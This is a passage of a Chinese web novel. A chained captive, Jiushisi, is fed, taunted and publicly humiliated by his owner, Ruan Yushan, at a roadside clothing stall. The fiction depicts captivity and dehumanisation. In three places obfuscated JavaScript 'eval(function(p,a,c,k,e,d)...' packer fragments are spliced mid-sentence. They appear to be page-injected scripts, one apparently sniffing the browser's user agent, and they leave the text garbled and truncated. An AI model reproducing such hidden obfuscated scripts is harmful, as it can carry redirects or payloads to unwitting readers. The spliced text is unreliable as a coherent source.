林烟眼珠子一转,忙道:“他还想洗手呢。” 说完便打量阮玉山的反应。 阮玉山对小二说:“让他洗。” 林烟生怕小二听不见,追着补充:“水盆的钱我们照付!” 虽说九十四只是买回阮家的一个祭品,阮玉山看不上眼,但还不至于在这些地方短了人。 小二忙不迭应声,跑去后院打水招呼。 包子是事先蒸好闷在笼屉里的,小二溜进后厨,先拿一个大海碗打了水,再捡了三个包子到另一个碗里。 关上笼屉转念一想,大堂的主顾只说给外头那人拿几个包子,却没说到底几个,于是一转身,又回去多拿了一个放进碗里。 四个拳头大的鲜羊肉包子,一碗澄亮的井水,端到九十四跟前时,九十四只是望着水不动。 这样干净的水,他从记事起几乎没有喝过。入口都是奢侈的东西,现今却只拿来给他洗手。 小二瞧他愣怔不语,又看见他皲裂出血的嘴皮,低声道:“喝吧,留点儿洗手。” 九十四略微错愕地抬头,小二端水的手已经抬到他嘴边,絮絮宽慰道:“那些老爷们不缺吃不缺穿的,听你要洗手,便只知给你水洗手,哪晓得这样好的水,真端到面前,比起洗手,还有更大的用处呢。家中高台筑,不见河边骨,这是无可厚非的事儿——喝吧,洗了手吃包子,我再给你打一碗水。” 他话没说完,九十四已低下头,先小口啜点儿水,再试着张嘴喝第二口。随后便就着小二的手埋头进碗里一口接一口地饮起水来,饮得喉咙中咕隆作响,一听就是久旱逢甘霖,渴了太久了。 一眨眼水碗见了底,小二眼疾手快地把碗抢过去:“剩两口洗手呢!” 九十四抿了抿唇,一言不发地把手举到碗口下,静静摊开,等着小二往手里倒水。 第一口水倒下去,九十四把手心手背和手指的灰尘洗了个遍;第二口水倒下去,那些脏污便冲走了。 小二把那碗包子塞到他手上,九十四湿着手要去拿,手心又被塞了一张抹布。 “把手擦了吃,”小二指指那张原本搭在自己肩上的抹布,“干净的。” 九十四捏着比自己一身衣裳白净不知多少的抹布,终于开口:“谢谢。” “什么?”小二凑过耳,没听清。 九十四抬眼,直勾勾盯着小二,一字一句地说:“你是个好人。” 他有一对十分英气的长眉,沿着俊俏的眉骨细细地长到眉尾,莫名展露了一点秀丽。正是由于眉骨高的缘故,九十四的双眼额外深邃,但或许是饕餮谷的泥灰整日遮盖住他的面容,便很少有人察觉到他这双好看得仿佛生在异域的眼睛。 与他对视久了,会发现他的眼珠边缘带着十分浅淡的蓝色,若不观察细致,十分难以察觉。 小儿冷不丁撞上他的视线,直直看进他的双眼,恍惚间有一瞬的呆愣,再回神时九十四已低头吃起包子来了。 小二抬起胳膊摸摸自己后脑勺,挡住耳尖后方的一点泛红,心里念叨“爱美之心人皆有之”,嘴上“嗐”的一声:“什么好人,都是乱世活命人。” 说完也不等九十四的回应,拿起水碗朝后院那口井去了。 蝣人一辈子生在笼子里,死在屠刀下,别说筷子,连碗都没摸过几次。阮玉山阻止林烟挑面给九十四,改让小二送包子,这倒还算思虑得周全,否则真得了一碗面,九十四还得现学怎么使筷子。 店里的包子不便宜,但用的都是真材实料,前一晚现杀的羊,剁下羊前腿和腹肉卤到早上,做饭的师傅天不亮就起来和面装馅儿,蒸出来的包子皮薄馅大,油亮油亮的,肉汁浸透了包子皮,一口下去全是入了卤味的羊肉。 九十四从碗里拿起包子,先轻轻闻了闻,再小心地咬一口。 包子入口时他咀嚼的动作微微一顿,接着睫毛颤了颤,嚼得更慢更仔细了。 羊肉汤汁沾到他的嘴角,他不自觉便抿唇去舔。 一道毫不遮掩的视线始终明目张胆地注视着他的一举一动,九十四舔过了嘴角的肉汁,忍无可忍,掀起眼皮对视过去——果然还是阮玉山。 阮玉山总用那样赤/裸的目光盯着他,根本不在乎他是否会感到冒犯,也不在乎被他发现,就像看路上随手捡的猫儿狗儿。 不过是仗着自己的力量和权力,知道就算把人惹急了,九十四的爪子也挠不到他脸上。 一路到头,从骑马到吃包子,明知许多世面九十四不曾见过,阮玉山还故意给他机会,就为了看戏一般瞧他的反应。 九十四真是不明白自己的反应有什么好看,没吃过饭的人吃到第一口饭也要被盯。 他被阮玉山盯烦了,皱起眉,忍住瞪回去的冲动,转了个身,背过面儿吃包子。 阮玉山坐在自个儿桌前,突然一哂:“装模作样。” 林烟正闷头嗦面呢,听见自家老爷莫名其妙笑了一下,还嘀咕了什么话,一头雾水地从碗里抬脸:“啊?” “没什么。”阮玉山收回视线,从竹筒里拿起筷子挑面,“有人玩欲擒故纵——你刚才说什么?烧人?” 说话间他的眼神蜻蜓点水地朝九十四那边掠过,看见九十四背着他咀嚼时露出来的那点腮帮子停止了鼓动,随后像是悄悄把头往这边偏了偏,似乎也想听听林烟和他的交谈。 “哦,”林烟见他没事,又赶紧吸溜一口面才说,“方才衣棚那老板同我说,每月逢朔望之日,他们这河岸边入夜就有怪声儿。我问是什么声儿,她也说不清楚,只说像什么东西接二连三往河里跳。又问她可曾出去瞧过,她说没人敢。村里人都说这河邪性,没必要去招惹,到那两天连靠都不敢靠近。赶巧前些日子来了个和尚,到河岸边转了一圈,就瞧出这河水不对劲,又说自己能解决,只是要等些时候,让他回去做个人来烧了,才算了事。” 这话就很奇怪了。 河边一带的村民不说上千也有数百人,夜里听见怪声,若是单枪匹马不敢多看也就罢了,多几家人联合出去,再不济打着灯笼放鞭炮,还能被鬼屠了村不成?哪有数百人齐刷刷被孤魂野鬼压制的。 阮玉山察觉蹊跷,只是不点明,他挑面的筷子悬在空中,眼角骤然一紧,反而捕捉到林烟后半句话:“做人来烧?什么邪魔歪道的法子?” “起先我也这么问呢,后来老板解释,说是那和尚所谓的‘做人’,只是从村子里每个人身上都取一滴血,拿回去混入泥浆,七天之内捏个泥人儿出来,做成小孩儿模样,再略使些手段——老爷以前同我讲过,说娑婆中原有一门子邪术,叫‘傀儡术’,便是用木头做成小人儿,背面刻上生辰八字,小木人儿便能活灵活现地变作肉身,任人操控,想来那和尚是不是用的这法子,捏了同孩子等身大的泥人拿去焚烧作法,也未可知。” 林烟说到这儿,忽然眉飞色舞,压低声音道:“可巧了,老爷您猜,那和尚的法号是什么?” 这天底下林烟认识的和尚拢共那么几个,一只手都数得完,根本没什么可猜。阮玉山扫他一眼,夹了一筷子黄焖羊肉:“总不能是净通那老秃驴。他舍得跨出舍春禅堂的大门了?” 林烟一拍桌子:“那倒不是,但也并非全无关系。” 他故意凑近道:“是他那个早年间不学无术,后来被赶下山的小弟子。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“不成想他嚼舌根子的时候老太太正好在后边,杵着拐杖就给他一脚,摔得他在地里滚了两圈,落进花园那个鸳鸯池,挂了一身发菜不说,起来还得自己去领十个板子!挨完了打回去还跟我们嘀咕,说老太太老当益壮,九十六的人了,踹起人来还那么得劲儿——老爷,您说老太太真这么活下去,最后会不会成仙儿啊?” 阮玉山素来不介意林烟口无遮拦地在他跟前说这些生死之事,毕竟家里老太太就总带头,久而久之,府里人对此都不怎么避讳。最后那句话他没答,只是带笑剜林烟一眼:“老太太的虎头杖三天不打你身上,你也皮痒。” “不过话说回来,”阮玉山吃完面,接过林烟递的锦帕,擦了嘴道,“既然碰上了了慧,那我就留下来看看是不是云真要找的人。若真凑巧,这村子里要等的了慧小师傅就是净通老和尚那个小徒弟,在这儿使什么歪门邪道,就直接绑了。 “或是告知净通来拿人,或是直接杀了,叫净通来收尸。好歹舍春禅堂头上顶的是红州阮府监造的名头,断不能让了慧顶着禅堂的名声在外招摇撞骗,惹是生非。” 林烟觉得很有道理:“可是谁去请净通大师呢?” 阮玉山望着他扬唇一笑。 林烟:? 他忽然意识到方才阮玉山说留下时只说了自己,并没有说“咱们”。 林烟默默叹了口气,垂头丧气要去牵马:“那我去吧,老爷。” 阮玉山同他起身,吩咐道:“行李里的金银细软你一并拿走,路上瞧见好吃的好玩的尽管去买,若物色到合适的年货,也一同买了,不必吝惜钱财。倘或净通不愿踏出禅堂,你便问过他的意思,于我飞书一封送到此处,再一路玩到奉祥地界,与我会合。” “哦。” 林烟闷闷应了,将自己一路为阮玉山带着的行李解下,挂到阮玉山的马上,转头看到正拴在旁边无言观察他的九十四,忍不住轻声提醒道:“我走了,往后就剩你和老爷了。” 九十四原本因为吃了顿饱饭看起来还不错的脸色微微一变。 林烟全然不觉:“老爷好性儿,只是嘴上不饶人。你别故意惹他生气,他必定待你不错。出门在外,他提防心重些,难免话不中听,你若肯顺他的意,也吃不了苦头。” 说完以后,林烟自觉也没什么可再交代的,便提胯上马,绝尘而去。 他嘱咐了这么多,九十四只听见开头那一句,就白着脸久未回神。 再要想听别的,只能瞧见林烟留下的一路马蹄痕迹。 九十四长长地望着小路尽头,怀里揣着用小二给的抹布包起来的三个羊肉包子。 包子他没敢吃完,过久了饱一顿饥一顿的日子,他习惯了每顿饭都留些口粮下来。以前是为百十八那几个弟弟,现在是为自己。 可惜霜气横秋,片刻前还滚烫的包子,不知不觉已变得冰冷了。 如同他才吃完饭好不容易暖起来的身子。 他摸摸包子,望着林烟远去的方向有些出神。 “舍不得?” 阮玉山的声音幽幽从耳边传来。 10.地符 九十四的脸色只僵硬了一瞬,随即便收敛目光转到一边摸起自己的马来,一副听不见阮玉山说话的模样。 长长的锁链在他双腕间被牵扯得哗啦响,阮玉山慢悠悠地两步跨到九十四跟前,挡住他所有的光,低声道:“你可以跟他走的。” 九十四放在马头上抚摸的右手又是一顿。 他没信,也不准备信,因此连开口向阮玉山求证的打算也没有,只是停顿的动作不可避免地出卖了他在那片刻的动摇。 动摇不是因为他真的有多喜欢林烟。 林烟也是好人,不会坏到像饕餮谷的人一样把他当笼子里的牲畜,但也不会好到因为善良就将他放走。 林烟的好被阮玉山的权力限制着,在对九十四的善意之上,更优先的是对阮玉山的服从。 即便如此,九十四也认为,待在林烟身边比待在阮玉山身边要好很多。 理由自不必讲,只要不是死人,稍微动点脑子都会这么想。 待在任何一个正常人身边,都比待在阮玉山身边强。 他的动摇在阮玉山眼下被敏锐地捕捉到,阮玉山带着点怜惜之意轻轻抓住他的右手,托到自己面前,接着竟然掏出了解磁石,打开他右手的手铐,似乎真有放他去找林烟的意思,柔声细语地劝:“想去就说,何苦装作听不懂人话?我看林烟儿也挺喜欢你的。” 九十四右手手腕的锁拷伴随一声清响打开了,露出皮肤上两圈被铁器常年磋磨出的可怖疤痕。 阮玉山将手铐挂在虎口,再双手交换这把连接九十四左手的长锁链往自己这边扯,直到链条一圈又一圈地绕在他的手上,最后在他和九十四之间彻底绷直。 这下只要九十四把左手也递过去,他就会解开磁石锁彻底放人自由。 九十四终于抬眼看向阮玉山,带着点莫名其妙的质疑和将信将疑的试探。 自由二字对于一生被禁锢的蝣人而言是连做梦都无法完整勾勒的泡影,笼子外的世界触手可及,然而他们永远无法彻底踏入,灵魂与身体上的枷锁得不到挣脱,他们终生守卫自己的自由,却没有行使的权力。 现在只要阮玉山把解磁石往他左手的手铐上轻轻一挨,再旋转一下,九十四就能感知自由的味道。 这是一种莫大的垂幸,冲击得九十四险些真的放下戒备,去相信阮玉山轻浮的眼睛。 阮玉山攥紧锁链,弯腰凑到九十四眼前,几乎与九十四眉抵着眉。 “可惜了。” 他的嘴角渐渐漫出笑意,因为离九十四的眉眼太近,他也发现了对方眼珠边缘那抹浅淡的蓝色。 灰头土脸到如此地步都尚有几分光彩拿来招蜂引蝶,难怪能使得街边小二都照顾有加。 阮玉山对九十四这些手段很是不屑。他将锁链往自己身前用力一扯,九十四被拽过去,差点贴到他的怀里。 阮玉山捏住九十四的肩,话里有话地说道:“我还要多玩几天。” 九十四眼眶睁了睁,听懂这话外意有所指的羞辱之意,瞳孔中闪烁的神采极速熄灭,目光冷却了下来。 他无心开口斥责,只垂下眼,错开与阮玉山对望的视线,自嘲般扬了扬嘴角。 蝣人日夜熊熊燃烧的渴望比不过贵公子一场轻佻的戏弄,九十四暗中握紧拳头,磨得简短锋利的指甲掐进自己掌心的肉里。 他真恨不得扑上去对着阮玉山撕咬一番,咬掉这个人玩世不恭的笑脸上每一块无耻的皮肉,同阮玉山打个天翻地覆鲜血淋漓,方才解气。 只是他明白,自己现在动不了手。蝣人虽不懂中土俗语,可天下道理都是一门,好汉不吃眼前亏。他现在命都在别人手里,要跟阮玉山较真,没被怄死就先被打死了。 只是恨自己怎么这么没骨气,别人给点虚无缥缈的鱼饵就引得他分不清东南西北,摇头摆尾地上了钩,上赶着遭此欺辱。 刚才的片刻错觉不过是梦中一场天方夜谭,甚至可以说是他自己的想法越了界,竟然真的快相信有人一掷千金将他买下,会为了他一个眼神就放他离开。 于情于理这都不合逻辑,更何况他与阮玉山本就没有半点情分可言。 又觉得阮玉山莫名其妙得有些好笑,言行简直幼稚到了拙劣的地步。 全天下供人玩闹的乐子那么多,阮玉山就像跟谁故意杠上,非要使尽浑身解数在一个蝣人身上寻开心不可。仿佛寻开心不是最重要的,寻开心的对象是九十四才最重要。 颅内泛起一丝隐约的疼痛,九十四挣开阮玉山放在他肩上的手,冷冷瞪了阮玉山一眼,不再多给一个眼神,只别过脸,企图平复呼吸以止住这阵莫名的头痛。 还没匀过气,他的左胳膊往外一伸——又被阮玉山拉走了。 拆一个手铐是为了方便九十四换衣裳,阮玉山不做无用功,从一开始就在戏耍九十四。 河岸边稀稀落落插着几十来根高低不一的桃树枝,乍一看各自位置插得毫无章法,实则暗中结成了地符,相当于一道天然结界,普通人轻易无法踏入。 阮玉山坐在衣棚椅子里,手里擒着镣铐的一端,一边等九十四换衣裳,一边将视线放远,研究河边那道用桃树枝围成的地符。 平日里民间多见都是黄符,即以黄纸为底,配合朱砂,讲究点的会用道教专门用蛋壳和稻草杆子磨碎制成的黄纸用来点灵画符,起到一个敕请神威,辟邪驱魔的作用。不同的符术用的纸不一样,寻常多用黄纸,是因为黄色吉利,更早一点也有说有用黄纸代替黄金,终归也是为了图点好彩头的意思。 而地符呢,顾名思义,便是以土地代替符纸为底,借助其他工具,或是桃枝,或是柳枝,再不济石头子儿也行,在地上依照特殊的排列布局,或画或摆,再或者就是像眼下河岸边这样把东西插进土里,总之形式不重要,造符的人和手法对了,土地与工具相互组合成特定的法阵,就能起到震慑一方的作用。 同样的还有水符、火符、木符,甚至骨符——凡事都有两面,天地万物,属人这一种生灵最有智慧,出门在外总不会有人时时刻刻带着黄符,何况有些情况也不是简单一张黄符就能解决的,因此利用金木水火,黄天厚土制作符咒,那都是道法自然,不违背天理,可再走偏些,用上骨头,若是鸡骨猪骨牛骨也好说;若用人骨,那符术就彻底落入邪性了。 了慧——也就是阮玉山决定留在这儿守株待兔的那个被师门赶下山的小和尚——这儿先不说他。他有一个师兄叫云真,云真便是阮家老太太嘴里见天儿念叨说为了寻找小师弟就不管她老人家的那位,这两师兄弟在了慧被赶下山之前形影不离,一个成天把禅堂闹得鸡飞狗跳,一个从早到晚跟在后头帮对方擦屁股。 云真按理来说不应该做了慧小和尚的师兄,因为小和尚比云真更早几年拜入师门进到禅堂。 了慧三岁那年就被家里人送进舍春山拜到净通门下开始修习,彼时八岁的云真还在山下跟着个江湖道士拿点岐黄之术招摇撞骗。 那时云真也还不叫云真,他那做江湖骗子的师父看他傻头傻脑,唯有心眼还算实诚,就给他取名“二头”,意思是生逢乱世灾年,凡人都活不长久,他又比旁人更加老实本分,自小亏吃得多,便盼他多长一个脑袋,比别人多一条命,活得稍微久些。 果不其然,二头和他师父遭遇流寇,浑身上下被洗劫一空,就剩几本道术功法的簿子没被拿走,师父挨的刀子多,一夜没撑过去死了,二头守着那几本簿子等死的时候,被路过的了慧发现,捡回了一条命。 也算二头这名字取得好,当真就活得比他师父久些。 了慧把二头领回舍春禅堂,净通是有一命救一命的人,干脆把二头也收入了门下。但是二头先前儿已有了个师父,先入道家,又入佛门,自己却不肯把前师父留下的那几本道术簿子舍了,净通看他是没放下前尘,便没给他剃度,只给他改了法号叫云真,叫他在舍春山带发修行,也准许他留下那几本簿子,算是默许他释道两修。 二头成了云真,了慧见他大自己许多岁,不乐意做他师兄,非要做师弟,净通也就随了他们。 阮玉山小时候有几次随自家曾祖母——也就是家里那位老太太上山斋戒,闲来无事,便与了慧躲在禅房看云真的那几本簿子,权当解闷。 原本他与了慧是有过那么一段幼时情谊,可惜那了慧小和尚脾性太过顽劣,阮玉山见了就烦,没几年便不再一起玩了,只每年逢年过节,云真会带着了慧来府里向老太太问安,因此林烟也见过他们几面。 后来再听了慧的消息,便是舍春山下来化缘的小沙弥入府拜访时随口谈及,期间言辞模糊,似乎那小沙弥也说不清这人究竟是被净通赶下了山,还是自己负气出走,总之三五年来,云真下山寻他,二人皆不见音讯。 说回地符。这地符一物,便是阮玉山幼年同了慧一起,从云真那些藏书里学到的。 如今想想,里头记载的不过是些入不得眼的旁门左道和邪术偏方,著书者在里头所言无本,没有任何依据,想来下笔之人自己对这些东西也不甚了解,只是东拼西凑,四处摘抄,其中许多术法,要么拾人牙慧,写得详略不当,难以成章;要么就是只着做法,不言利弊。一本书看下来,没几个能学全乎的。 地符这一术法却是少有写得清晰明了的。 之所以这么说,是因为阮玉山小时候和了慧在舍春禅堂的院子里试过。 那时了慧大概八九岁,原本也是地主豪绅家的公子,只因出生时请过先生来算,说他命不好,注定多灾多难,需得送到红尘之外不问世事,剃度出家一心修行才能躲过命中劫数。 娑婆自来是有这些个说法,越是大户人家,倘或生出体弱的小姐公子,便要请人来看,若真是福薄,便不能留在家里,得送去佛门过清苦日子,否则一生享了自己不能享的福, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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后续是俩人差点点着了山火,把后坡险些烧成了荒山一座,了慧被净通关了七天禁闭,抄了三十三遍佛经——虽然这佛经极有可能是云真帮忙抄的。阮玉山这边则简单得多:被老当益壮的曾祖母伺候了一顿家法,打得两天下不来床,从此再没上过舍春山。 如今看这河岸周围的桃枝摆阵,确实有几分像了慧的手笔。 不过多看几眼阮玉山便看出了怪异——摆是这么摆,但这手法怎么着都瞧着有些稚嫩。 晌午时分,外头进来的人多了,大都从棚子里取了衣裳,再意思意思地丢几枚铜板补了差价,再就地草草换过衣物离开。 做这换衣棚的老板是个细致人,原本这里头就搭了两间屋,一间挂衣服,另一间用竹板隔出来给人换衣服,只是来往过客大多不讲究,也只换外衣外裤,即便特地留了隔间,仍少有人专绕过竹板去里间脱衣裳。 倒是九十四,得知有多余的隔间,图新鲜似的就往里头去了,在里头脱到一半又回到阮玉山跟前,一言不发地伸胳膊。 原来是脱下来的衣裳得从九十四没解下镣铐那只手的袖子撸下去,从头到尾地穿过阮玉山手里牵着的锁链才算能脱完,方才林烟带着九十四过来没换成衣裳就是这个原因——镣铐没解,衣裳脱不下。 阮玉山这点上不啰嗦,他早看九十四那身乌黑的狗皮不顺眼了,脱下来的衣服袖子穿过他手里另一端手铐,被他扯下来丢到一边架子上。 这边他才丢完衣裳,就听旁边老板“哎哟”的一声,扭头去看,老板正牵着九十四左看右看,夸赞这孩子脱了衣裳竟这么白净。 九十四的白净不是细皮嫩肉的白,而是一种从骨子里透出来的,不甚康健的苍白。 不过这年头百姓都过得动荡,奔波流亡的多,安稳清闲的少,天天食不果腹,个个面黄肌瘦,白净两个字听着简单,真要找,只有高门大户的公子小姐们才能找得出来,再说了,就算是高门大户的人家——就说阮玉山,长得也不白净。 不过不白净有不白净的好,阮玉山那样的威严和精气神,长得白净了,反倒别扭,合该生来是那样深沉的肤色,才配得上他一身风雨不惊的气度。 九十四就白得很合适。 蝣人骨架修长容貌俊丽,浑然天成自不必说,这是古书里写了的,加上他大抵生来有些特别——从那双眼睛就能看出九十四身上混杂的几分极北的异域血统,因此他皮肤比旁人更白亮些,况且关在饕餮谷的蝣人成日成日地闷在地牢,只有练功和斗场表演时才被放出来,即便被晒着了,凭蝣人身体的恢复能力,也影响不了什么。 老板拉着九十四还想再夸,猝不及防感受到身边一道鹰隼般的视线,看见阮玉山不算很有耐心的神色,决定收起废话,对九十四和气道:“快去换吧,快去。” 阮玉山和九十四之间的锁链很长,长到足够让九十四绕过竹板走到隔间,而阮玉山还能坐在原地纹丝不动。 每个蝣人都是这样拖着长长的锁链在饕餮谷长大的。 九十四从老板手里接过那件走线精细的绒布衣裳,先很轻地在手里摸了两下,随后才走向隔间。 他没穿上衣,光着背,阮玉山就这么看他的背影。看他那对细瘦的脚踝,勉强靠盆骨才能挂住的下衣,到那截又细又韧的腰,最后是背上蝴蝶骨的珊瑚刺青。 阮玉山的目光懒洋洋的,一直盯到九十四消失在竹板后才收回去。 随后他将胳膊肘撑在椅子扶手上,若有所思地摸了摸自己的嘴唇,喉结滑动了一下。 11.伎俩 哪晓得九十四才绕进隔间,没片刻便朝这边学着林烟说话的音调喊:“……老板?” 这还是阮玉山打从饕餮谷出来头一遭听他主动开口说话。 先前林烟带九十四来这儿时,九十四在衣棚里也说了话,说想去河边洗洗,可惜当时阮玉山不在,就算在,那话也不是说给他听。 从开始到现在,两个人明争暗斗的不少——虽然都是阮玉山自个儿犯欠,但九十四还真没主动搭理过他,连开口说话都懒得费力。 也不知是不是故意,九十四那嘴,对着林烟张,对着饭铺小二张,甚至对着路边衣棚的老板张,就是不对他阮玉山张。 阮玉山也瞧出来了,不过他不急,他就是乐得看九十四这副跟他作对的劲头,没劲头的他一路带着也没意思。 老板坐在外间缝鞋垫子,里间的声音她没听见。 九十四只能再度开口:“老板?” 阮玉山低下头,把玩着手里的锁拷,哼着声儿地笑了一下。 九十四的中原话说得不太准确,尤其是像“老板”这样听着林烟说了自己才现学的称呼。 他喊得轻,似乎是对自己的咬字也没多大底气,没敢喊清楚了,怕出错,像只初初入世模仿凡人说话的动物,一声一声的,猫抓一样喊得人心里痒痒。 好在这回老板听见了,放下手里的箩筐赶过去,一看才知道是这衣裳穿起来有些复杂,九十四第一次上手,没人教过他怎么穿,拿在手里像个烫手山芋,从哪套进去都不晓得。 亏得老板是个古道心肠的大娘,九十四的模样也讨她喜欢,乡野村户不讲究礼节,当即给九十四拿了新裁的中裤,手把手教起九十四怎么穿衣服。 九十四也来不及不好意思,有人教他东西,他忙着一心一意用耳朵听,用眼睛学。即便只是穿衣这般小事,套裤子系裤腰打结绳,哪儿叫裤脚哪儿叫裤头,中原话怎么形容一个动作叫打结,他是一点儿想学的也没落下。 讲着讲着,老板瞧他学穿个裤子都郑重其事,免不得拿他打趣玩笑。 女妇人淳朴浑厚的笑声夹杂着九十四间歇的低声回应传到外间,阮玉山渐渐又听得心烦。 他也想知道里头在笑什么,可是看不到,他听着就烦。 隔断两个屋子的竹板由一条一条的竹篾子捆作一排制成,阮玉山坐在竹板下侧方,视线顺着老板传来的方向望过去,正好透过一条条竹篾子的缝隙看见里头一分半点的情形。 九十四的身体高挑又伸展,饕餮谷的地牢不见天日,把他捂得上半身没血色,下半身也苍白,在斗场上跑一圈也没让灰钻进九十四的衣裳里。 老板在隔间手把手地教九十四穿衣服,九十四就老老实实听人家的弯腰抬腿,转着圈地叫隔间外的阮玉山把他看了个精光。 阮玉山也不避讳,抬起右脚驾在左边大腿上,大爷似的靠在椅背里地坐着,对着竹篾子就明目张胆地看,直勾勾地看缝隙里那个乌发韧腰的身影。 看九十四身上和脸上一样都没几两肉,看他使力时胳膊和脚踝皮肤下的青筋,看他跟随动作扇动的蝴蝶骨,看九十四生得两腿纤细,人却不瘦小,浑身上下每一寸都长得成熟又流畅,不然也做不到在蝣人堆里像大哥似的护着那些小蝣人。只要多喂点饭,脸色长好了,同那些金尊玉贵养出来的公子哥儿们差不到哪儿去。 阮玉山光顾着看九十四,忘了看看自己,没看看自己刚刚眨了几次眼,又滚了几次喉结。 再出来时,九十四脚上换了双布靴,正衬他那件新换的衣裳,淡灰的布,普通人家最常见的颜色,走线却很严密,一瞧就是老板送的,想来林烟替这件绒布衫子补的钱不少,甚至相当有结余。 他攥着自己的衣领,中衣外衣都还有一截袖子没穿,就是得要阮玉山亲手把拿着的锁链和手铐穿过去的那一边袖子,否则就穿不上——方才这衣服就是这么脱的,现在还得这么穿。 其实这是把九十四另一只手铐打开就能解决的事儿,阮玉山人在这儿,守在九十四跟前,就算九十四暂时解了手铐也跑不了。 他一个才满十八的蝣人,整天饭都吃不饱,就算在饕餮谷常常被拉出去野训,练就的也是一身胡乱打法,脑子再灵光,也没三头六臂,横竖是比不过满身长技的阮玉山的。 可阮玉山偏不。偏要只拆一只铐子留在手里,要九十四褪着一边袖子站到他面前找他帮忙,他再漫不经心地给九十四把袖子穿上。 以前老太太骂他“一辈子大半时间都浪费在不中用的地方”,大概就是骂他磋磨的这些时候。 九十四尚未走近,阮玉山摇摇手里的链子,使唤什么似的对着九十四招手:“过来。” 阮玉山是这么个臭脾气——想看的东西他就要看个够。不仅要明目张胆地看,还要招摇过市地看。看得自己的想法昭然若揭,看得旁人敢怒不敢言。 先前里间里老板的调笑声吸引的可不止他阮玉山一个人的目光,这会子过了饭点,正是过客涌到这些衣棚里换衣裳的点儿。 九十四从里间出来了,阮玉山又这么一发话,大家伙或多或少都有把视线往他这儿探的意思,想看看躲在里间换衣裳的讲究人是个什么模样,又怎么能跟老板那样谈笑风生。 眼下这人换了光鲜打扮,刚才吃饭的时候又蘸着水擦了两下脸,勉强露出点本色,浑身上下就剩头发还有点乱,一绺绺的打着卷儿披散着。 但一看正面,头发正衬得九十四的高眉深目在他那张瘦削瓜子脸上清晰亮丽地显露出来,倒更有几分外邦美人的味道。即便他人吃不来这口美色,又或无心垂青,也还是难免侧眼多加打量。 阮玉山的视线定在九十四脸上,这是他一贯的行径。就算不移目,他的余光也把那些人的试探在眼底收了个十成十。 旁人不看九十四还好,一看九十四就跟觊觎了他哪块逆鳞似的,惹得阮玉山那双原本还像是似笑非笑的眼睛,一下子又添了层阴沉。 阮玉山阴沉了,遭殃的就是九十四。 他毫无预兆地将手中锁链往自己身前猛然一扯,在九十四踉跄撞来的同时站起身。 阮家人都生得个儿高腿长,阮玉山也不例外。脚下的金丝软底挖云长靴包不完他健长的小腿,一站起来就是一道人墙,影子投射下去正好把偏头碰到他肩膀的九十四笼罩在自己面前。 九十四并不矮小,可跟对面比起来还是差了大半个头。 阮玉山长得是宽肩蜂腰,挺拔有力,抬手攥住九十四时不给人一点挣扎的余地,使八成劲儿就能把九十四凿在手上,钉在怀里。 他圈住九十四,胳膊横在九十四的后背,全然意识不到自己几乎快把人压到窒息。 冰冷锁链一路穿过袖口,摩擦着九十四的胳膊。九十四被迫贴在阮玉山胸前,费力把头转到另一边,垂下眼,瞧见阮玉山在帮他穿袖子。 周围的注视还没散去,阮玉山侧脸看到九十四乌黑的头顶,把九十四披散的头发拨到右肩。 九十四有一头浓密的长发,长达腰际,不知是临近塞外的饕餮谷长日里狂风吹就,还是由于太久没有仔细打理,他的长发总是成绺地卷曲着,都说蝣人成天吃不饱穿不暖,可九十四的头发摸起来却并不干燥似枯草,反而黑得发亮,想来是蝣人体内骨珠玄气充沛,有气血滋养的缘故。 阮玉山给他穿好袖子,就差把肩膀那块儿的衣裳给拉上去,就能系腰带了。 九十四正等着从阮玉山怀里退出去好好穿衣裳,忽然间感觉对方将他抱得更紧。 阮玉山的手在往他左边肩膀后伸。 九十四心中暗感不妙,还没来得及应对,突觉左肩一凉——阮玉山把他左边穿好的衣裳从后背扯下去了! 鲜艳刺目的朱红珊瑚刺青登时暴露在众人眼下。 会到这种地方轻车熟路换衣吃饭的都是四处闯荡的老江湖,因为这些摆摊搭棚子的小店都不在官道,是小道,没点游历经验的年轻人又或者身价高的公子小姐们没事儿都不走小道,危险性高。 不少嗅觉敏锐的人闻到了九十四后肩膀刺青上尚未消去的那股饕餮谷特有的刺青药水味,明白过来这是个蝣人,随即眼神一变,带着些许鄙夷地挪开目光。 长得再好看,是个蝣人,那也没什么看头——谁会觉得一条狗好看?一头羊好看?欣赏蝣人的美貌,那是有病。对着蝣人多看两眼,自己都掉价。 还有少数几个没眼力见或是认不出那块刺青的楞头,杵在一边探头探脑的想多看九十四几眼,阮玉山一挑眉毛,斜楞眼过去,直把那些人盯得躲躲闪闪别过脸去,他再去扫视其他人。 谁敢盯九十四,他就盯谁,直盯着棚子里任何人不敢再把眼神往这边扫一下,他才舒坦。 转过头,他贴到九十四耳边:“用了什么法子哄得人家老板送你衣裳又送鞋的?” 九十四后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阮玉山干燥温热的的掌心顺着九十四的手腕摸到他左肩后方的刺青,再用力往他蝴蝶骨上一按:“穿好你的衣服——守好你的本分。” 这刺青扎在九十四的身上,像九十四的逆鳞。 其他时候面对阮玉山再怎么飞扬跋扈,一旦被碰到这个地方,九十四就宛若没了手段,被挟持得一败涂地。 阮玉山见九十四神情僵硬,眼中因为同旁人相交而升腾出的光彩在他的拿捏下也渐渐黯淡,一直到那抹神采彻底变得灰败,他终于松手,打一个巴掌给一个枣似的替九十四拉上衣领,温声含笑道:“这衣裳衬你,少穿一刻都浪费。” 一边说,还一边将九十四卷曲的长发轻轻拨回后背,用手指替人理了理,发现九十四头发太乱理不直,便算了。 阮玉山从来就是这样的人——他不高兴,所有人都别想高兴。别人因为他的不高兴而不高兴,他就高兴了。 木棚子里门窗对开,深秋寒风一起,呜咽着吹进来,九十四衣衫不整的身体从那片刺青起,被风吹得越来越凉。 